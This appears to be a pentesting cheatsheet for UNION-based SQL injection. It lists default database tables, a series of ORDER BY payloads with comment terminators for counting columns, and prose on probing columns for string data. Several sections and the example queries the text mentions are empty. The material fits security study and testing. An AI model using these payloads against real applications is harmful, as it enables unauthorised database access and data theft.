📀Union Cheatsheet

Default table in Databases

-----------|--------------------------------------------------------     
SQLite:    |    sqlite_master   
-----------|--------------------------------------------------------
MySQL      |    information_schema
-----------|--------------------------------------------------------
MSSQL      |    information_schema
-----------|--------------------------------------------------------
Oracle:    |         dual
-----------|--------------------------------------------------------

Detect the number of vulnerable columns

 ORDER BY 1-- -
 ORDER BY 2-- - 
 ORDER BY 3-- -
 ORDER BY 4-- -
 ORDER BY 5-- -
 ORDER BY 6-- -
 ORDER BY 7-- -
 ORDER BY 8-- -
 ORDER BY 9-- -
 ORDER BY 10-- -
 
 ORDER BY 1# 
 ORDER BY 2# 
 ORDER BY 3# 
 ORDER BY 4# 
 ORDER BY 5# 
 ORDER BY 6# 
 ORDER BY 7# 
 ORDER BY 8# 
 ORDER BY 9# 
 ORDER BY 10# 

Union Select Payloads

String Concatenation & Comments

----------------------------------------------------------------

Manual Exploitation

----------------------------------------------------------------

WAF Bypass

----------------------------------------------------------------

UNION Attack, Querying the database type and version

-------------------------------------------------------------

Database-specific syntax On Oracle, every SELECT query must use the FROM keyword and specify a valid table.

There is a built-in table on Oracle called dual which can be used for this purpose. So the injected queries on Oracle would need to look like:

-------------------------------------------------------------

Finding columns with a useful data type

After you determine the number of required columns, you can probe each column to test whether it can hold string data. You can submit a series of UNION SELECT payloads that place a string value into each column in turn. For example, if the query returns four columns, you would submit:

If the column data type is not compatible with string data, the injected query will cause a database error, such as:

If an error does not occur, and the application's response contains some additional content including the injected string value, then the relevant column is suitable for retrieving string data.

-------------------------------------------------------------

Last updated